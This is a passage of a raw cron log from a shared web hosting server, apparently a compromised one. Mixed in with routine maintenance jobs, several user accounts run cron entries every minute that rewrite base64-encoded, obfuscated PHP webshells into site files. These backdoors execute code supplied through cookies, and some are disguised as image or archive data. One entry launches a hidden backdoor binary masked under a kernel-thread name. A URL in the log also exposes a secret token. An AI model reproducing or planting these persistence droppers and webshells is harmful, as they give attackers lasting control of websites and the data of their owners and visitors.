"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:58:01 medusa CROND[9260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 21:58:01 medusa CROND[9261]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:58:01 medusa CROND[9264]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:58:01 medusa CROND[9267]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:58:01 medusa CROND[9274]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:58:01 medusa CROND[9285]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:58:01 medusa CROND[9286]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:59:01 medusa CROND[28085]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:59:01 medusa CROND[28086]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:59:01 medusa CROND[28087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:59:01 medusa CROND[28088]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:59:01 medusa CROND[28089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:59:01 medusa CROND[28090]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:59:01 medusa CROND[28092]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:59:01 medusa CROND[28103]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:59:01 medusa CROND[28107]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:59:01 medusa CROND[28108]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:59:01 medusa CROND[28109]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:59:01 medusa CROND[28111]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:00:01 medusa CROND[16604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:00:02 medusa CROND[16940]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 22:00:02 medusa CROND[17083]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:00:02 medusa CROND[17103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17106]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:00:02 medusa CROND[17108]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 22:00:02 medusa CROND[17109]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17105]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17113]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:00:02 medusa CROND[17110]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:00:02 medusa CROND[17121]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17124]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:00:02 medusa CROND[17125]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17126]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 22:00:02 medusa CROND[17128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:00:02 medusa CROND[17123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17130]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:00:02 medusa CROND[17111]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:00:02 medusa CROND[17133]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 22:00:02 medusa CROND[17135]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 22:00:02 medusa CROND[17112]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:00:02 medusa CROND[17129]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 22:00:02 medusa CROND[17143]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:00:02 medusa CROND[17144]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 